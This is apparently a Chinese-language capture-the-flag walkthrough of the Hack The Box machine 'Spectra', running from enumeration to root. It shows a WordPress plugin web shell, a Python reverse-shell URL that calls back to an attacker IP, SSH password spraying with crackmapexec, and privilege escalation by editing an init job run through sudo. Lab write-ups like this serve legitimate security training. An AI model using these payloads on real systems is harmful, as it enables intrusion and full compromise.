Enumeration
nmap
第一次扫描发现系统对外开放了22,80和3306端口,端口详细信息如下
22端口运行着ssh,80端口还是http,不过不同的是打开了mysql的3306端口 TCP/80
进入首页,点击链接时,提示域名不能解析,需要在/etc/hosts中添加
10.10.10.229 spectra.htb
配置好后,点击Software Issue Tracker跳转到/main,可以看到该网站使用了wordpress
另一个链接Test会跳转至/testing/index.php,网站无法连接,显示数据库链接错误
直接访问/testing,会列出其他目录,但是wp-config.php文件似乎在服务器上使用nano编辑过,生成了.save文件
点击该文件并没有什么显示,但是查看源代码会展现很多内容,其中包括了wordpress的数据库信息
回到刚刚的/main页面,在页面底部有login链接,但是使用刚刚获取的用户名密码显示用户名无效
但是,使用administrator:devteam01却成功登录wordpress系统
Foothold
登录到wordpress后台
可以上传一个php文件作为新的插件
<?php
/*
Plugin Name: vegetable Plugin Version: 1.0.0
Author: vegetable Author URI: wordpress.org License: GPL2
*/
system($_REQUEST["cmd"]); ?>
将该php文件添加至zip
在wordpress后台,选择plugins→add new
然后选择刚才创建的shell.zip,再点击install now
跳转页面后再点击activate plugin
然后可以在插件列表中看到刚刚上传的插件
然后可以验证webshell是否成功上传
可以利用反向shell连接
访问
http://spectra.htb/main/wp-content/plugins/shell/shell.php?cmd=python%20-
c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.3%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
nc会监听到一个反向shell
升级shell
Lateral Movement
枚举系统发现了Chrome Os
Chrome OS 会将交互式登录用户的配置文件文件夹存储在/home/user/,但是却无法进入该文件
在/opt目录下有一个autologin.conf.prig
该脚本给出两条路径,但只有一个存在,其中的passwd文件似乎保存了一个密码
然后发现能登录的用户只有这几个
将这几个用户保存到一个文件中,形成用户名字典,然后利用crackmapexec程序看看哪个能成功登陆
crackmapexec ssh 10.10.10.229 -u user -p 'SummerHereWeCome!!' --continue-on-success
可以使用katie:SummerHereWeCome!!通过ssh登录系统
Privilege Escalation
使用sudo -l发现可以执行initctl,是init守护进程控制工具
使用id命令发现katie属于developers组
尝试搜索该组拥有的文件
test*.conf都是一样的
node.js文件来启动一个web
将/etc/init/test.conf的内容修改为
然后执行sudo initctl start test
之后,会在/tmp/vegetable中写入id,证明命令被执行
则可以往脚本中添加反向shell脚本
script
exec id > /tmp/vegetable
export HOME=/srv
echo $$ > /var/run/nodetest.pid
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script
和刚才一样操作,之后就可以获取root权限